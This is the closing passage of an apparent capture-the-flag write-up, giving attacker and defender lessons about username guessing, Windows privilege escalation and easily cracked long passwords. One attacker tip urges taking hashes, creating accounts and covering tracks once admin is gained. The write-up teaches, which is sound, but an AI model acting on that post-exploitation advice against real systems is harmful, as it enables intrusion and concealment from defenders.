  • 👥 Be generous with your list of usernames. Sometimes very small hints will let you know the username to try. On this box, for some time I was fixated on trying to login to the email of either ruy or maya, because those were the confirmed accounts I had seen. However, the hMailServer.ini file hinted at some “Administrator” account - it wasn’t until later that I tried administrator for accessing email.

  • 🔃 Sometimes, induction is the way. It sucks. It really sucks. But sometimes you just need to make wild assumptions and carry out your idea to completion, and only then will you know if your initial assumption was correct.

  • 😈 Once you have local admin, everything is possible. On Windows, once you’ve completed a little bit of privilege escalation, the world is your oyster. Take the hashes, make new accounts, cover your tracks, do whatever!

two crossed swords

Defender

  • 📏 Password length doesn’t matter if the password is still easily guessable. On this box, we cracked the administrator password in about 1s, even though it was 27 characters long. If the password is easily guessable and exists in wordlists like rockyou, no amount of special characters, digits, or capitals will help - they are all the same level of complexity if the password is subject to a simple dictionary attack.

  • 🔥 Windows is a dumpster fire. Don’t use it. I’m really glad I’m not the administrator of some large sprawling Windows-based ecosystem. It seems like it’s basically impossible to secure it properly. All you can really do is make things incrementally harder for attackers.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake